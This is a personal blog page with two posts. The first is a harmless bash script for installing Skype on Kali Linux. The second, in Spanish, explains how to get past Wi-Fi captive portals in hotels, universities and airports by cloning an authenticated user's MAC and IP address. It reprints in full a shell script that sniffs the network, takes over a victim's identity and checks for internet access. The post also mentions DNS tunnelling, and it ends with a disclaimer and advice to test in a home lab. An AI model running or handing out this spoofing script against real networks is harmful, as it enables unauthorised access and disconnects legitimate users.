Fran's site and blog

Blog

Install skype on Kali Linux

Posted by lapaginadefran on May 25, 2014 at 9:45 AM Comments comments (0)

For those who need to install skype on Kali Linux, here goes a script based on these instructions and others. The idea is to generate an uninstall script too, which will be specially usefull if you are using 64 bits version of Kali as I am doing:

#!/bin/bash

num_version=$(lsb_release -rs | awk '{print $3}')

apt-get update

apt-get install gdebi -y

dpkg --add-architecture i386

apt-get update

wget http://download.skype.com/linux/skype-debian_4.2.0.13-1_i386.deb

dpkg --get-selections | grep -v deinstall | cut -f1 > before_install

apt-get update

gdebi skype-debian_4.2.0.13-1_i386.deb

echo "#!/bin/bash\

" > uninstall_skype_kali-$num_version.sh

sudo dpkg --get-selections | grep -v deinstall | cut -f1 > after_install

diff before_install after_install | grep '>' | awk '{print $2}' | sed -e :a -e N -e 's/\n/ /g' -e ta \

| sed 'i\sudo apt-get remove --purge\' | sed -e :a -e N -e 's/\n/ /g' -e ta >> uninstall_skype_kali-$num_version.sh

echo "dpkg -r skype

sudo apt-get autoremove -y

sudo apt-get autoclean

dpkg --remove-architecture i386" >> uninstall_skype_kali-$num_version.sh

chown $USER:$USER uninstall_skype_kali-$num_version.sh

chmod u+x uninstall_skype_kali-$num_version.sh

rm before_install after_install




"Bypass captive portal"...

Posted by lapaginadefran on October 23, 2010 at 4:56 PM Comments comments (0)

Bypass captive portal


Eso es lo que hay que buscar en inglés en google si queremos averiguar como saltarnos la protección de red inalámbricas que protegen sitios como las redes wifi de algunas universidades, la de muchos pueblos en los que hay wifi gratis para los vecinos, los hoteles, aeropuertos....


En todos el escenario es el mismo: una conexión inalámbrica no protegida y en la que, naturalmente, puedes conectarte sin problemas. Pero cuando intentas navegar... da igual la dirección de internet que pongas, siempre te sale una misma página de autentificiación en la que has de introducir tu usuario y contraseña.

Pasado ese requisito, ya puedes navegar tranquilamente. La dirección web que pusiste en principio, y que te llevó a la página de login del portal cautivo, aparece por fin.


Pues bien. Según parece, la autenticidad de un cliente válido se realiza a través de su IP. Esto es:


  • Te conectas a la red wifi sin problemas porque se trata de una red abierta. Luego, ya perteneces a la red. Es decir, eres un miembro  más de la red local.
    Puedes ver a tus "vecinos" y, aunque no puedas entrar en sus carpetas compartidas (porque lo más seguro es que esos puertos estén deshabilitados, como muchos otros), sí que puedes esnifar tráfico y capturar paquetes de quien está asociado. Aunque eso no es lo más interesante si lo que quieres es poder navegar tú también.
  • Al haberte conectado, seguramente has obtenido una IP automáticamente (pues la seguridad de la red no radica en esas cosas). Los clientes conectados y autenticados, además de tener su IP interna de la red, el servidor del portal cautivo sabe de ellos que esas ip pasaron la criba de la autenticación. Es decir, sus IPs son IPs válidas para darles conexión. Así es como valida el portal cautivo. Se trata de IP validada o IP no validada previamente.

En un escenario tal, lo que a uno se le ocurre para poder navegar sin tener el par usuario/contraseña, es hacer un ataque de tipo ip-spoofing y mac-spoofing (o sea, adueñarnos de la IP y la dirección mac de quien sí está autenticado, pues su IP está validada). Eso implica desconectarlo a él. Lo cual no será un problema, pues se reconectará automáticamente, solicitará otra IP (y al tener la misma mac que le hemos robado nostros quizás el sistema el otorgue la misma IP que tenía y tendrá un aviso cantoso de duplicidad de IP en la red -en caso de Windoze-), pero acabará conectándose de nuevo (supongo), con una IP nueva, se volverá a autenticar y estaremos ambos navegando.


Al menos esa es la teoría y la solución expuesta aquí:


http://www.semicomplete.com/blog/geekery/bypassing-captive-portals.html


En dicho post, el autor nos brinda un script para FreeBSD que habría que adaptarlo a Linux o Mac (si es que no usamos FreeBSD, como es mi caso).

Pues nada, como estoy aprendiendo un poco de scripting en bash, a ver si dentro de no mucho lo tengo traducido y puedo probarlo en algún sitio en los de entrada ya soy usuario legítimo (pero intentaré la navegación sin logearme primero).


Copio el script original:


#!/bin/sh

# Attempt to bypass a captive portal firewall by trying to find

# a host who can already get through it and spoofing

# that host's ethernet and ip addresses.

 

usage() {

echo "usage: $0 -i interface"

}

 

args=`getopt i: "[email protected]"`

set -- $args

 

while [ $# -gt 0 ]; do

case $1 in

-i) interface=$2; shift ;;

--) shift; break; ;;

*) echo "Unknown option '$1'"; exit 1 ;;

esac

shift

done

 

if [ -z "$interface" ]; then

echo "No interface specified."

usage

exit 1

fi

 

tmp=`mktemp /tmp/XXXXXXXXX`

 

ifconfig $interface down

ifconfig $interface ether 00:de:ad:be:ef:01

ifconfig $interface up

dhclient $interface

 

# Discover networking information

ifconfig $interface \

| awk 'BEGIN { OFS="\n" }

$1 == "inet" { print "inet="$2, "netmask="$4, "broadcast="$6 }

$1 == "ssid" { print "ssid="$2, "channel="$4, "bssid="$6 }

$1 == "ether" { print "ether="$2 }' \

> $tmp

 

# Discover the gateway

netstat -rn | awk '/^default/ { print "gateway="$2 }' >> $tmp

 

eval `cat $tmp`

rm $tmp

 

if [ -z "$gateway" ]; then

echo No gateway found

exit 1

fi

 

# Save resolv.conf

dnsconf=`mktemp /tmp/XXXXXXXX`

cp /etc/resolv.conf $dnsconf

 

echo "Restore your old mac address with: "

echo "ifconfig $interface down; ifconfig $interface ether $ether; ifconfig $interface up"

 

echo

 

# Fill arp cache by pinging the broadcast address which had 33 happy laptops

# responding, which fills up my arp cache with valid entries quickly and easily.

# Pinging broadcast and multicast finds lots of clients...

echo "Looking for active nodes on the network"

 

pcap=`mktemp /tmp/XXXXXXXX`

tcpdump -i $interface -lenp 'icmp and icmp[icmptype] == icmp-echoreply' > $pcap 2> /dev/null &

tcpdump_pid=$!

 

ips=`mktemp /tmp/XXXXXXXXX`

ping -t 2 $broadcast > $ips

ping -t 2 224.0.0.1 >> $ips

 

kill -TERM $tcpdump_pid

cat $pcap \

| awk '/ICMP echo reply/ { print $10, $2 }' \

| sort | uniq \

| while read a; do

set -- $a;

ip=$1

ether=$2

 

echo Trying $a;

 

ifconfig $interface ssid "" bssid 00:00:00:00:00:00 channel 0

ifconfig $interface delete

 

ifconfig $interface down;

ifconfig $interface ether $ether;

ifconfig $interface up;

ifconfig $interface ssid $ssid bssid $bssid channel $channel

 

try=1;

while [ $try -lt 5 ]; do

echo "Waiting for associate";

ifconfig $interface | grep -q 'status: associated' && try=100;

try=$(($try + 1));

sleep 3;

done;

 

route delete default

ifconfig $interface inet $ip netmask $netmask

route add default $gateway

cp $dnsconf /etc/resolv.conf

 

echo 'pinging google';

host -W 10 google.com > /dev/null && ping -t 5 google.com

if [ $? -eq 0 ]; then

echo "Found something that can reach the internet"

echo "Mac: $2"

echo "IP: $1"

echo "Exiting... You can now get online."

exit

fi

done

 

rm $ips $ipmac

 

Rectificaciones:

  • El script anterior, no hace más que automatizar el proceso de detectar un par MAC/IP válidos y tomarla "prestada" (creí que haría un IP spoofing).
  • Por lo general, no es sólo la IP la que se valida, sino el par: dirección MAC - IP. Por eso es que resulta generalmente necesario clonar la MAC del cliente validado además de su IP. Al clonar su MAC, y estar activo en nuestro ordenador la petición de asignación de IP automática (DHCP para los amigos), nos asignará también su IP, puesto que el router sabe que a esa MAC le ha otorgado ya una IP y esa será la que siempre le otorgue mientras no le caduque (en sistemas servidores DHCP, creo que ocho días si no se reconfigurado).


  • Y una mala cosa según mis experimentos de laboratorio (en mi puta casa): Si el "atacante" utiliza un sistema Unix-like y el cliente "atacado" es Windows, éste último se quedará sin navegar o sólo le llegarán paquetes mientras nosotros el "atacante" no generemos genere tráfico. No sé por qué demonios. Pero veo que pasa así.

Así que la solución pasa por un IP spoofing, junto con un MAC spoofing. O sea: capturar su tráfico para que pase por nosotros y, paquete nuestro que salga, ponerle como IP de origen la IP suya (que sí está legitimada), que se hace supuestamente bien con iptables aunque a mí no me sale ni de coña. Y tampoco sé por qué.


También hay otros métodos más sofisticados, siempre usando Linux o derivados, que consisten en montar algún tipo de pasarela en tu casa (es decir, un ordenador encendido y conectado a internet) mientras andes por ahí de excursión por los portales cautivos, y aprovechar ciertos aspectos no tenidos en cuenta en la tecnología del portal cautivo (como que las peticiones DNS sí son "gratis"), y enmascarar todo tu tráfico en forma de paquetes que sí pueden cruzar la criba (como son las peticiones DNS) para poder navegar. Estos inventos implican además no perjudicar a nadie y son más anónimos todavía que el uso de la identidad del cliente "atacado", que es la principal consecuencia del método anterior (siendo por otra parte, el más fácil y rápido de aplicar).


Nota: este post es de carácter puramente informativo y no alienta ni incita a nadie a hacer uso de él bajo ningún concepto, desentendiéndose el autor de su uso, que será bajo su única responsabilidad, y de sus consecuencias.


El autor sólo informa, pero no incita. La mejor manera de aprender cómo funcionan las cosas, y una legalmente permitida, es montar tu propio laboratorio de pruebas en tu propia red. Existe software libre para el montaje de un portal cautivo y poder así reproducir un escenario real.


Así pues: lo montas en tu casa, jugeteas un rato, y te vas a la cama a dormir.

He dicho.;)